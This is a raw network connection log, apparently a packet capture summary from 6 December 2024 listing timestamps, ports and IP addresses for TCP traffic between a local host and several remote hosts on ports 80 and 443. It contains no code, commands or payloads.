Dec 6, 2024 18:45:51.812336922 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.812396049 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.856043100 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.856069088 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.856105089 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.856117964 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.856143951 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.856164932 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.863513947 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.863529921 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.863567114 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.863571882 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.863606930 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.871356010 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.871375084 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.871407986 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.871412992 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.871439934 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.871458054 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.879776001 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.879795074 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.879823923 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.879829884 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.879862070 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.879889965 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.888039112 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.888058901 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.888092041 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.888098001 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.888134003 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.895999908 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.896019936 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.896061897 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.896070004 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.896099091 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.896111012 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.904247046 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.904264927 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.904305935 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.904311895 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.904340982 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.911617994 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.911637068 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.911673069 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.911684990 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.911710978 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.911729097 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.953262091 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.034617901 CET	443	49827	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.035892963 CET	49827	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.035906076 CET	443	49827	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.036331892 CET	49827	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.036336899 CET	443	49827	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.045192003 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.045229912 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.045308113 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.046684980 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.046703100 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.046782970 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.046802044 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.046863079 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.046878099 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.046909094 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.046916962 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.054877043 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.054897070 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.054986000 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.054997921 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.055061102 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.062356949 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.062431097 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.062516928 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.062582016 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.070604086 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.070630074 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.070703983 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.070717096 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.070916891 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.073100090 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.079090118 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.079111099 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.079174042 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.079180956 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.079231024 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.080986977 CET	443	49825	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.081046104 CET	443	49825	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.081305981 CET	49825	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.081512928 CET	49825	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.081522942 CET	443	49825	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.084353924 CET	49831	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.084395885 CET	443	49831	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.084554911 CET	49831	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.084815979 CET	49831	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.084829092 CET	443	49831	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.084918976 CET	443	49826	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.084979057 CET	443	49826	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.085030079 CET	49826	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.085186958 CET	49826	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.085196018 CET	443	49826	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.085227966 CET	49826	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.085233927 CET	443	49826	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.086575985 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.086602926 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.086672068 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.086678028 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.086716890 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.088386059 CET	49832	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.088407040 CET	443	49832	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.088476896 CET	49832	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.088697910 CET	49832	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.088711023 CET	443	49832	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.092626095 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.092643976 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.092756033 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.093014956 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.093025923 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.094801903 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.094820023 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.094878912 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.094892025 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.094939947 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.102077961 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.102097034 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.102139950 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.102145910 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.102185011 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.116451025 CET	49834	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:52.116465092 CET	443	49834	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:52.116537094 CET	49834	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:52.116925955 CET	49834	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:52.116935015 CET	443	49834	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:52.139700890 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.139713049 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.139776945 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.139981985 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.139987946 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.168360949 CET	443	49828	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.168756962 CET	49828	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.168773890 CET	443	49828	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.169239998 CET	49828	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.169250011 CET	443	49828	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.171932936 CET	443	49829	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.172224998 CET	49829	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.172250986 CET	443	49829	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.172615051 CET	49829	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.172619104 CET	443	49829	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.238722086 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.238743067 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.238799095 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.238816023 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.238843918 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.238863945 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.246871948 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.246887922 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.246938944 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.246946096 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.247056007 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.255340099 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.255356073 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.255407095 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.255414009 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.255454063 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.262626886 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.262640953 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.262700081 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.262706041 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.262761116 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.270684958 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.270699978 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.270739079 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.270745039 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.270778894 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.270798922 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.278923988 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.278948069 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.278985023 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.278990030 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.279026031 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.279031992 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.286715984 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.286740065 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.286782980 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.286787987 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.286818027 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.286837101 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.286870956 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.286935091 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.286936998 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.287033081 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.287986040 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.287997961 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.396171093 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.396332979 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.396398067 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.396723986 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.397000074 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.397399902 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.397449970 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.397794008 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.397845984 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.398109913 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.398173094 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.398860931 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.398929119 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.399286032 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.399353027 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.399951935 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.400010109 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.400510073 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.400564909 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.401015997 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.401067019 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.401101112 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.401607037 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.462745905 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.462795019 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.468194962 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.468446016 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:52.468462944 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:52.471556902 CET	443	49827	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.471627951 CET	443	49827	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.471976042 CET	49827	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.472193956 CET	49827	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.472212076 CET	443	49827	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.472223043 CET	49827	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.472228050 CET	443	49827	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.475147963 CET	49837	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.475181103 CET	443	49837	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.475250959 CET	49837	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.475595951 CET	49837	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.475609064 CET	443	49837	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.526294947 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.526424885 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.526757956 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.526844025 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.526891947 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.527878046 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.527987003 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.528044939 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.528924942 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.529084921 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.529133081 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.529985905 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.530152082 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.531073093 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.531135082 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.531754971 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.532167912 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.532181025 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.532228947 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.533229113 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.533349037 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.533396959 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.534324884 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.534490108 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.535353899 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.535403967 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.535413027 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.536451101 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.536498070 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.536581039 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.537457943 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.537506104 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.604677916 CET	443	49828	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.604733944 CET	443	49828	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.604835033 CET	49828	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.604953051 CET	49828	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.604964972 CET	443	49828	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.604985952 CET	49828	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.604990005 CET	443	49828	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.607567072 CET	49838	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.607593060 CET	443	49838	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.607721090 CET	49838	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.607892990 CET	49838	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.607908010 CET	443	49838	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.608305931 CET	443	49829	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.608369112 CET	443	49829	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.608422995 CET	49829	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.608567953 CET	49829	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.608580112 CET	443	49829	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.608589888 CET	49829	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.608594894 CET	443	49829	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.610388041 CET	49839	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.610411882 CET	443	49839	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.610596895 CET	49839	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.610681057 CET	49839	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:52.610692024 CET	443	49839	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:52.656898975 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.657078981 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.657103062 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.657129049 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.657346964 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.657391071 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.657804012 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.657859087 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.658430099 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.658555031 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.658591032 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.658639908 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.659539938 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.659667969 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.660167933 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.660306931 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.660590887 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.660649061 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.660972118 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.661180973 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.661665916 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.661715984 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.661940098 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.661982059 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.662735939 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.662847996 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.663288116 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.663331032 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.663814068 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.663866043 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.664151907 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.664474010 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.664886951 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.664937973 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.665317059 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.665365934 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.665980101 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.666028023 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.666454077 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.667047977 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.667058945 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.667097092 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.667123079 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.668118000 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.668279886 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.668448925 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.668499947 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.669163942 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.669209003 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.669440031 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.669477940 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:52.670257092 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:52.670315981 CET	49796	80	192.168.2.6	185.215.113.206
